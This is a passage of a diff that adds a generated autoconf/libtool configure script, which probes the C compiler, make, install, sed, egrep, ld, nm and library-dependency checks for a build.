+ac_save_CC=$CC +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <stdarg.h> +#include <stdio.h> +#include <sys/types.h> +#include <sys/stat.h> +/* Most of the following tests are stolen from RCS 5.7's src/conf.sh. */ +struct buf { int x; }; +FILE * (*rcsopen) (struct buf *, struct stat *, int); +static char *e (p, i) + char **p; + int i; +{ + return p[i]; +} +static char *f (char * (*g) (char **, int), char **p, ...) +{ + char *s; + va_list v; + va_start (v,p); + s = g (p, va_arg (v,int)); + va_end (v); + return s; +} + +/* OSF 4.0 Compaq cc is some sort of almost-ANSI by default. It has + function prototypes and stuff, but not '\xHH' hex character constants. + These don't provoke an error unfortunately, instead are silently treated + as 'x'. The following induces an error, until -std1 is added to get + proper ANSI mode. Curiously '\x00'!='x' always comes out true, for an + array size at least. It's necessary to write '\x00'==0 to get something + that's true only with -std1. */ +int osf4_cc_array ['\x00' == 0 ? 1 : -1]; + +int test (int i, double x); +struct s1 {int (*f) (int a);}; +struct s2 {int (*f) (double a);}; +int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int); +int argc; +char **argv; +int +main () +{ +return f (e, argv, 0) != argv[0] || f (e, argv, 1) != argv[1]; + ; + return 0; +} +_ACEOF +# Don't try gcc -ansi; that turns off useful extensions and +# breaks some systems' header files. +# AIX -qlanglvl=ansi +# Ultrix and OSF/1 -std1 +# HP-UX 10.20 and later -Ae +# HP-UX older versions -Aa -D_HPUX_SOURCE +# SVR4 -Xc -D__EXTENSIONS__ +for ac_arg in "" -qlanglvl=ansi -std1 -Ae "-Aa -D_HPUX_SOURCE" "-Xc -D__EXTENSIONS__" +do + CC="$ac_save_CC $ac_arg" + rm -f conftest.$ac_objext +if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_prog_cc_stdc=$ac_arg +break +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +fi +rm -f conftest.err conftest.$ac_objext +done +rm -f conftest.$ac_ext conftest.$ac_objext +CC=$ac_save_CC + +fi + +case "x$ac_cv_prog_cc_stdc" in + x|xno) + echo "$as_me:$LINENO: result: none needed" >&5 +echo "${ECHO_T}none needed" >&6 ;; + *) + echo "$as_me:$LINENO: result: $ac_cv_prog_cc_stdc" >&5 +echo "${ECHO_T}$ac_cv_prog_cc_stdc" >&6 + CC="$CC $ac_cv_prog_cc_stdc" ;; +esac + +# Some people use a C++ compiler to compile C. Since we use `exit', +# in C++ we need to declare it. In case someone uses the same compiler +# for both compiling C and C++ we need to have the C++ compiler decide +# the declaration of exit, since it's the most demanding environment. +cat >conftest.$ac_ext <<_ACEOF +#ifndef __cplusplus + choke me +#endif +_ACEOF +rm -f conftest.$ac_objext +if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + for ac_declaration in \ + '' \ + 'extern "C" void std::exit (int) throw (); using std::exit;' \ + 'extern "C" void std::exit (int); using std::exit;' \ + 'extern "C" void exit (int) throw ();' \ + 'extern "C" void exit (int);' \ + 'void exit (int);' +do + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_declaration +#include <stdlib.h> +int +main () +{ +exit (42); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + : +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +continue +fi +rm -f conftest.err conftest.$ac_objext conftest.$ac_ext + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_declaration +int +main () +{ +exit (42); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + break +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +fi +rm -f conftest.err conftest.$ac_objext conftest.$ac_ext +done +rm -f conftest* +if test -n "$ac_declaration"; then + echo '#ifdef __cplusplus' >>confdefs.h + echo $ac_declaration >>confdefs.h + echo '#endif' >>confdefs.h +fi + +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +fi +rm -f conftest.err conftest.$ac_objext conftest.$ac_ext +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu +DEPDIR="${am__leading_dot}deps" + + ac_config_commands="$ac_config_commands depfiles" + + +am_make=${MAKE-make} +cat > confinc << 'END' +am__doit: + @echo done +.PHONY: am__doit +END +# If we don't find an include directive, just comment out the code. +echo "$as_me:$LINENO: checking for style of include used by $am_make" >&5 +echo $ECHO_N "checking for style of include used by $am_make... $ECHO_C" >&6 +am__include="#" +am__quote= +_am_result=none +# First try GNU make style include. +echo "include confinc" > confmf +# We grep out `Entering directory' and `Leaving directory' +# messages which can occur if `w' ends up in MAKEFLAGS. +# In particular we don't look at `^make:' because GNU make might +# be invoked under some other name (usually "gmake"), in which +# case it prints its new name instead of `make'. +if test "`$am_make -s -f confmf 2> /dev/null | grep -v 'ing directory'`" = "done"; then + am__include=include + am__quote= + _am_result=GNU +fi +# Now try BSD make style include. +if test "$am__include" = "#"; then + echo '.include "confinc"' > confmf + if test "`$am_make -s -f confmf 2> /dev/null`" = "done"; then + am__include=.include + am__quote="\"" + _am_result=BSD + fi +fi + + +echo "$as_me:$LINENO: result: $_am_result" >&5 +echo "${ECHO_T}$_am_result" >&6 +rm -f confinc confmf + +# Check whether --enable-dependency-tracking or --disable-dependency-tracking was given. +if test "${enable_dependency_tracking+set}" = set; then + enableval="$enable_dependency_tracking" + +fi; +if test "x$enable_dependency_tracking" != xno; then + am_depcomp="$ac_aux_dir/depcomp" + AMDEPBACKSLASH='\' +fi + + +if test "x$enable_dependency_tracking" != xno; then + AMDEP_TRUE= + AMDEP_FALSE='#' +else + AMDEP_TRUE='#' + AMDEP_FALSE= +fi + + + + +depcc="$CC" am_compiler_list= + +echo "$as_me:$LINENO: checking dependency style of $depcc" >&5 +echo $ECHO_N "checking dependency style of $depcc... $ECHO_C" >&6 +if test "${am_cv_CC_dependencies_compiler_type+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then + # We make a subdir and do the tests there. Otherwise we can end up + # making bogus files that we don't know about and never remove. For + # instance it was reported that on HP-UX the gcc test will end up + # making a dummy file named `D' -- because `-MD' means `put the output + # in D'. + mkdir conftest.dir + # Copy depcomp to subdir because otherwise we won't find it if we're + # using a relative directory. + cp "$am_depcomp" conftest.dir + cd conftest.dir + # We will build objects and dependencies in a subdirectory because + # it helps to detect inapplicable dependency modes. For instance + # both Tru64's cc and ICC support -MD to output dependencies as a + # side effect of compilation, but ICC will put the dependencies in + # the current directory while Tru64 will put them in the object + # directory. + mkdir sub + + am_cv_CC_dependencies_compiler_type=none + if test "$am_compiler_list" = ""; then + am_compiler_list=`sed -n 's/^#*\([a-zA-Z0-9]*\))$/\1/p' < ./depcomp` + fi + for depmode in $am_compiler_list; do + # Setup a source with many dependencies, because some compilers + # like to wrap large dependency lists on column 80 (with \), and + # we should not choose a depcomp mode which is confused by this. + # + # We need to recreate these files for each test, as the compiler may + # overwrite some of them when testing with obscure command lines. + # This happens at least with the AIX C compiler. + : > sub/conftest.c + for i in 1 2 3 4 5 6; do + echo '#include "conftst'$i'.h"' >> sub/conftest.c + # Using `: > sub/conftst$i.h' creates only sub/conftst1.h with + # Solaris 8's {/usr,}/bin/sh. + touch sub/conftst$i.h + done + echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf + + case $depmode in + nosideeffect) + # after this tag, mechanisms are not by side-effect, so they'll + # only be used when explicitly requested + if test "x$enable_dependency_tracking" = xyes; then + continue + else + break + fi + ;; + none) break ;; + esac + # We check with `-c' and `-o' for the sake of the "dashmstdout" + # mode. It turns out that the SunPro C++ compiler does not properly + # handle `-M -o', and we need to detect this. + if depmode=$depmode \ + source=sub/conftest.c object=sub/conftest.${OBJEXT-o} \ + depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \ + $SHELL ./depcomp $depcc -c -o sub/conftest.${OBJEXT-o} sub/conftest.c \ + >/dev/null 2>conftest.err && + grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 && + grep sub/conftest.${OBJEXT-o} sub/conftest.Po > /dev/null 2>&1 && + ${MAKE-make} -s -f confmf > /dev/null 2>&1; then + # icc doesn't choke on unknown options, it will just issue warnings + # or remarks (even with -Werror). So we grep stderr for any message + # that says an option was ignored or not supported. + # When given -MP, icc 7.0 and 7.1 complain thusly: + # icc: Command line warning: ignoring option '-M'; no argument required + # The diagnosis changed in icc 8.0: + # icc: Command line remark: option '-MP' not supported + if (grep 'ignoring option' conftest.err || + grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else + am_cv_CC_dependencies_compiler_type=$depmode + break + fi + fi + done + + cd .. + rm -rf conftest.dir +else + am_cv_CC_dependencies_compiler_type=none +fi + +fi +echo "$as_me:$LINENO: result: $am_cv_CC_dependencies_compiler_type" >&5 +echo "${ECHO_T}$am_cv_CC_dependencies_compiler_type" >&6 +CCDEPMODE=depmode=$am_cv_CC_dependencies_compiler_type + + + +if + test "x$enable_dependency_tracking" != xno \ + && test "$am_cv_CC_dependencies_compiler_type" = gcc3; then + am__fastdepCC_TRUE= + am__fastdepCC_FALSE='#' +else + am__fastdepCC_TRUE='#' + am__fastdepCC_FALSE= +fi + + +# Find a good install program. We prefer a C program (faster), +# so one script is as good as another. But avoid the broken or +# incompatible versions: +# SysV /etc/install, /usr/sbin/install +# SunOS /usr/etc/install +# IRIX /sbin/install +# AIX /bin/install +# AmigaOS /C/install, which installs bootblocks on floppy discs +# AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag +# AFS /usr/afsws/bin/install, which mishandles nonexistent args +# SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff" +# OS/2's system install, which has a completely different semantic +# ./install, which can be erroneously created by make from ./install.sh. +echo "$as_me:$LINENO: checking for a BSD-compatible install" >&5 +echo $ECHO_N "checking for a BSD-compatible install... $ECHO_C" >&6 +if test -z "$INSTALL"; then +if test "${ac_cv_path_install+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + # Account for people who put trailing slashes in PATH elements. +case $as_dir/ in + ./ | .// | /cC/* | \ + /etc/* | /usr/sbin/* | /usr/etc/* | /sbin/* | /usr/afsws/bin/* | \ + ?:\\/os2\\/install\\/* | ?:\\/OS2\\/INSTALL\\/* | \ + /usr/ucb/* ) ;; + *) + # OSF1 and SCO ODT 3.0 have their own names for install. + # Don't use installbsd from OSF since it installs stuff as root + # by default. + for ac_prog in ginstall scoinst install; do + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$ac_prog$ac_exec_ext"; then + if test $ac_prog = install && + grep dspmsg "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then + # AIX install. It has an incompatible calling convention. + : + elif test $ac_prog = install && + grep pwplus "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then + # program-specific install script used by HP pwplus--don't use. + : + else + ac_cv_path_install="$as_dir/$ac_prog$ac_exec_ext -c" + break 3 + fi + fi + done + done + ;; +esac +done + + +fi + if test "${ac_cv_path_install+set}" = set; then + INSTALL=$ac_cv_path_install + else + # As a last resort, use the slow shell script. We don't cache a + # path for INSTALL within a source directory, because that will + # break other packages using the cache if that directory is + # removed, or if the path is relative. + INSTALL=$ac_install_sh + fi +fi +echo "$as_me:$LINENO: result: $INSTALL" >&5 +echo "${ECHO_T}$INSTALL" >&6 + +# Use test -z because SunOS4 sh mishandles braces in ${var-val}. +# It thinks the first close brace ends the variable substitution. +test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}' + +test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL}' + +test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644' + +# Check whether --enable-shared or --disable-shared was given. +if test "${enable_shared+set}" = set; then + enableval="$enable_shared" + p=${PACKAGE-default} + case $enableval in + yes) enable_shared=yes ;; + no) enable_shared=no ;; + *) + enable_shared=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for pkg in $enableval; do + IFS="$lt_save_ifs" + if test "X$pkg" = "X$p"; then + enable_shared=yes + fi + done + IFS="$lt_save_ifs" + ;; + esac +else + enable_shared=yes +fi; + +# Check whether --enable-static or --disable-static was given. +if test "${enable_static+set}" = set; then + enableval="$enable_static" + p=${PACKAGE-default} + case $enableval in + yes) enable_static=yes ;; + no) enable_static=no ;; + *) + enable_static=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for pkg in $enableval; do + IFS="$lt_save_ifs" + if test "X$pkg" = "X$p"; then + enable_static=yes + fi + done + IFS="$lt_save_ifs" + ;; + esac +else + enable_static=yes +fi; + +# Check whether --enable-fast-install or --disable-fast-install was given. +if test "${enable_fast_install+set}" = set; then + enableval="$enable_fast_install" + p=${PACKAGE-default} + case $enableval in + yes) enable_fast_install=yes ;; + no) enable_fast_install=no ;; + *) + enable_fast_install=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for pkg in $enableval; do + IFS="$lt_save_ifs" + if test "X$pkg" = "X$p"; then + enable_fast_install=yes + fi + done + IFS="$lt_save_ifs" + ;; + esac +else + enable_fast_install=yes +fi; + +echo "$as_me:$LINENO: checking for a sed that does not truncate output" >&5 +echo $ECHO_N "checking for a sed that does not truncate output... $ECHO_C" >&6 +if test "${lt_cv_path_SED+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + # Loop through the user's path and test for sed and gsed. +# Then use that list of sed's as ones to test for truncation. +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for lt_ac_prog in sed gsed; do + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$lt_ac_prog$ac_exec_ext"; then + lt_ac_sed_list="$lt_ac_sed_list $as_dir/$lt_ac_prog$ac_exec_ext" + fi + done + done +done +lt_ac_max=0 +lt_ac_count=0 +# Add /usr/xpg4/bin/sed as it is typically found on Solaris +# along with /bin/sed that truncates output. +for lt_ac_sed in $lt_ac_sed_list /usr/xpg4/bin/sed; do + test ! -f $lt_ac_sed && break + cat /dev/null > conftest.in + lt_ac_count=0 + echo $ECHO_N "0123456789$ECHO_C" >conftest.in + # Check for GNU sed and select it if it is found. + if "$lt_ac_sed" --version 2>&1 < /dev/null | grep 'GNU' > /dev/null; then + lt_cv_path_SED=$lt_ac_sed + break + fi + while true; do + cat conftest.in conftest.in >conftest.tmp + mv conftest.tmp conftest.in + cp conftest.in conftest.nl + echo >>conftest.nl + $lt_ac_sed -e 's/a$//' < conftest.nl >conftest.out || break + cmp -s conftest.out conftest.nl || break + # 10000 chars as input seems more than enough + test $lt_ac_count -gt 10 && break + lt_ac_count=`expr $lt_ac_count + 1` + if test $lt_ac_count -gt $lt_ac_max; then + lt_ac_max=$lt_ac_count + lt_cv_path_SED=$lt_ac_sed + fi + done +done + +fi + +SED=$lt_cv_path_SED +echo "$as_me:$LINENO: result: $SED" >&5 +echo "${ECHO_T}$SED" >&6 + +echo "$as_me:$LINENO: checking for egrep" >&5 +echo $ECHO_N "checking for egrep... $ECHO_C" >&6 +if test "${ac_cv_prog_egrep+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if echo a | (grep -E '(a|b)') >/dev/null 2>&1 + then ac_cv_prog_egrep='grep -E' + else ac_cv_prog_egrep='egrep' + fi +fi +echo "$as_me:$LINENO: result: $ac_cv_prog_egrep" >&5 +echo "${ECHO_T}$ac_cv_prog_egrep" >&6 + EGREP=$ac_cv_prog_egrep + + + +# Check whether --with-gnu-ld or --without-gnu-ld was given. +if test "${with_gnu_ld+set}" = set; then + withval="$with_gnu_ld" + test "$withval" = no || with_gnu_ld=yes +else + with_gnu_ld=no +fi; +ac_prog=ld +if test "$GCC" = yes; then + # Check if gcc -print-prog-name=ld gives a path. + echo "$as_me:$LINENO: checking for ld used by $CC" >&5 +echo $ECHO_N "checking for ld used by $CC... $ECHO_C" >&6 + case $host in + *-*-mingw*) + # gcc leaves a trailing carriage return which upsets mingw + ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;; + *) + ac_prog=`($CC -print-prog-name=ld) 2>&5` ;; + esac + case $ac_prog in + # Accept absolute paths. + [\\/]* | ?:[\\/]*) + re_direlt='/[^/][^/]*/\.\./' + # Canonicalize the pathname of ld + ac_prog=`echo $ac_prog| $SED 's%\\\\%/%g'` + while echo $ac_prog | grep "$re_direlt" > /dev/null 2>&1; do + ac_prog=`echo $ac_prog| $SED "s%$re_direlt%/%"` + done + test -z "$LD" && LD="$ac_prog" + ;; + "") + # If it fails, then pretend we aren't using GCC. + ac_prog=ld + ;; + *) + # If it is relative, then search for the first ld in PATH. + with_gnu_ld=unknown + ;; + esac +elif test "$with_gnu_ld" = yes; then + echo "$as_me:$LINENO: checking for GNU ld" >&5 +echo $ECHO_N "checking for GNU ld... $ECHO_C" >&6 +else + echo "$as_me:$LINENO: checking for non-GNU ld" >&5 +echo $ECHO_N "checking for non-GNU ld... $ECHO_C" >&6 +fi +if test "${lt_cv_path_LD+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -z "$LD"; then + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + for ac_dir in $PATH; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then + lt_cv_path_LD="$ac_dir/$ac_prog" + # Check to see if the program is GNU ld. I'd rather use --version, + # but apparently some GNU ld's only accept -v. + # Break only if it was the GNU/non-GNU ld that we prefer. + case `"$lt_cv_path_LD" -v 2>&1 </dev/null` in + *GNU* | *'with BFD'*) + test "$with_gnu_ld" != no && break + ;; + *) + test "$with_gnu_ld" != yes && break + ;; + esac + fi + done + IFS="$lt_save_ifs" +else + lt_cv_path_LD="$LD" # Let the user override the test with a path. +fi +fi + +LD="$lt_cv_path_LD" +if test -n "$LD"; then + echo "$as_me:$LINENO: result: $LD" >&5 +echo "${ECHO_T}$LD" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi +test -z "$LD" && { { echo "$as_me:$LINENO: error: no acceptable ld found in \$PATH" >&5 +echo "$as_me: error: no acceptable ld found in \$PATH" >&2;} + { (exit 1); exit 1; }; } +echo "$as_me:$LINENO: checking if the linker ($LD) is GNU ld" >&5 +echo $ECHO_N "checking if the linker ($LD) is GNU ld... $ECHO_C" >&6 +if test "${lt_cv_prog_gnu_ld+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + # I'd rather use --version here, but apparently some GNU ld's only accept -v. +case `$LD -v 2>&1 </dev/null` in +*GNU* | *'with BFD'*) + lt_cv_prog_gnu_ld=yes + ;; +*) + lt_cv_prog_gnu_ld=no + ;; +esac +fi +echo "$as_me:$LINENO: result: $lt_cv_prog_gnu_ld" >&5 +echo "${ECHO_T}$lt_cv_prog_gnu_ld" >&6 +with_gnu_ld=$lt_cv_prog_gnu_ld + + +echo "$as_me:$LINENO: checking for $LD option to reload object files" >&5 +echo $ECHO_N "checking for $LD option to reload object files... $ECHO_C" >&6 +if test "${lt_cv_ld_reload_flag+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_cv_ld_reload_flag='-r' +fi +echo "$as_me:$LINENO: result: $lt_cv_ld_reload_flag" >&5 +echo "${ECHO_T}$lt_cv_ld_reload_flag" >&6 +reload_flag=$lt_cv_ld_reload_flag +case $reload_flag in +"" | " "*) ;; +*) reload_flag=" $reload_flag" ;; +esac +reload_cmds='$LD$reload_flag -o $output$reload_objs' +case $host_os in + darwin*) + if test "$GCC" = yes; then + reload_cmds='$CC -nostdlib ${wl}-r -o $output$reload_objs' + else + reload_cmds='$LD$reload_flag -o $output$reload_objs' + fi + ;; +esac + +echo "$as_me:$LINENO: checking for BSD-compatible nm" >&5 +echo $ECHO_N "checking for BSD-compatible nm... $ECHO_C" >&6 +if test "${lt_cv_path_NM+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$NM"; then + # Let the user override the test. + lt_cv_path_NM="$NM" +else + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + for ac_dir in $PATH /usr/ccs/bin /usr/ucb /bin; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + tmp_nm="$ac_dir/${ac_tool_prefix}nm" + if test -f "$tmp_nm" || test -f "$tmp_nm$ac_exeext" ; then + # Check to see if the nm accepts a BSD-compat flag. + # Adding the `sed 1q' prevents false positives on HP-UX, which says: + # nm: unknown option "B" ignored + # Tru64's nm complains that /dev/null is an invalid object file + case `"$tmp_nm" -B /dev/null 2>&1 | sed '1q'` in + */dev/null* | *'Invalid file or object type'*) + lt_cv_path_NM="$tmp_nm -B" + break + ;; + *) + case `"$tmp_nm" -p /dev/null 2>&1 | sed '1q'` in + */dev/null*) + lt_cv_path_NM="$tmp_nm -p" + break + ;; + *) + lt_cv_path_NM=${lt_cv_path_NM="$tmp_nm"} # keep the first match, but + continue # so that we can try to find one that supports BSD flags + ;; + esac + esac + fi + done + IFS="$lt_save_ifs" + test -z "$lt_cv_path_NM" && lt_cv_path_NM=nm +fi +fi +echo "$as_me:$LINENO: result: $lt_cv_path_NM" >&5 +echo "${ECHO_T}$lt_cv_path_NM" >&6 +NM="$lt_cv_path_NM" + +echo "$as_me:$LINENO: checking whether ln -s works" >&5 +echo $ECHO_N "checking whether ln -s works... $ECHO_C" >&6 +LN_S=$as_ln_s +if test "$LN_S" = "ln -s"; then + echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6 +else + echo "$as_me:$LINENO: result: no, using $LN_S" >&5 +echo "${ECHO_T}no, using $LN_S" >&6 +fi + +echo "$as_me:$LINENO: checking how to recognise dependent libraries" >&5 +echo $ECHO_N "checking how to recognise dependent libraries... $ECHO_C" >&6 +if test "${lt_cv_deplibs_check_method+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_cv_file_magic_cmd='$MAGIC_CMD' +lt_cv_file_magic_test_file= +lt_cv_deplibs_check_method='unknown' +# Need to set the preceding variable on all platforms that support +# interlibrary dependencies. +# 'none' -- dependencies not supported. +# `unknown' -- same as none, but documents that we really don't know. +# 'pass_all' -- all dependencies passed with no checks. +# 'test_compile' -- check by making test program. +# 'file_magic [[regex]]' -- check by looking for files in library path +# which responds to the $file_magic_cmd with a given extended regex. +# If you have `file' or equivalent on your system and you're not sure +# whether `pass_all' will *always* work, you probably want this one. + +case $host_os in +aix4* | aix5*) + lt_cv_deplibs_check_method=pass_all + ;; + +beos*) + lt_cv_deplibs_check_method=pass_all + ;; + +bsdi[45]*) + lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (shared object|dynamic lib)' + lt_cv_file_magic_cmd='/usr/bin/file -L' + lt_cv_file_magic_test_file=/shlib/libc.so + ;; + +cygwin*) + # func_win32_libid is a shell function defined in ltmain.sh + lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL' + lt_cv_file_magic_cmd='func_win32_libid' + ;; + +mingw* | pw32*) + # Base MSYS/MinGW do not provide the 'file' command needed by + # func_win32_libid shell function, so use a weaker test based on 'objdump'. + lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?' + lt_cv_file_magic_cmd='$OBJDUMP -f' + ;; + +darwin* | rhapsody*) + lt_cv_deplibs_check_method=pass_all + ;; + +freebsd* | kfreebsd*-gnu) + if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then + case $host_cpu in + i*86 ) + # Not sure whether the presence of OpenBSD here was a mistake. + # Let's accept both of them until this is cleared up. + lt_cv_deplibs_check_method='file_magic (FreeBSD|OpenBSD)/i[3-9]86 (compact )?demand paged shared library' + lt_cv_file_magic_cmd=/usr/bin/file + lt_cv_file_magic_test_file=`echo /usr/lib/libc.so.*` + ;; + esac + else + lt_cv_deplibs_check_method=pass_all + fi + ;; + +gnu*) + lt_cv_deplibs_check_method=pass_all + ;; + +hpux10.20* | hpux11*) + lt_cv_file_magic_cmd=/usr/bin/file + case "$host_cpu" in + ia64*) + lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - IA64' + lt_cv_file_magic_test_file=/usr/lib/hpux32/libc.so + ;; + hppa*64*) + lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - PA-RISC [0-9].[0-9]' + lt_cv_file_magic_test_file=/usr/lib/pa20_64/libc.sl + ;; + *) + lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|PA-RISC[0-9].[0-9]) shared library' + lt_cv_file_magic_test_file=/usr/lib/libc.sl + ;; + esac + ;; + +irix5* | irix6* | nonstopux*) + case $LD in + *-32|*"-32 ") libmagic=32-bit;; + *-n32|*"-n32 ") libmagic=N32;; + *-64|*"-64 ") libmagic=64-bit;; + *) libmagic=never-match;; + esac + lt_cv_deplibs_check_method=pass_all + ;; + +# This must be Linux ELF. +linux*) + case $host_cpu in + alpha*|hppa*|i*86|ia64*|m68*|mips*|powerpc*|sparc*|s390*|sh*) + lt_cv_deplibs_check_method=pass_all ;; + *) + # glibc up to 2.1.1 does not perform some relocations on ARM + # this will be overridden with pass_all, but let us keep it just in case + lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [LM]SB (shared object|dynamic lib )' ;; + esac + 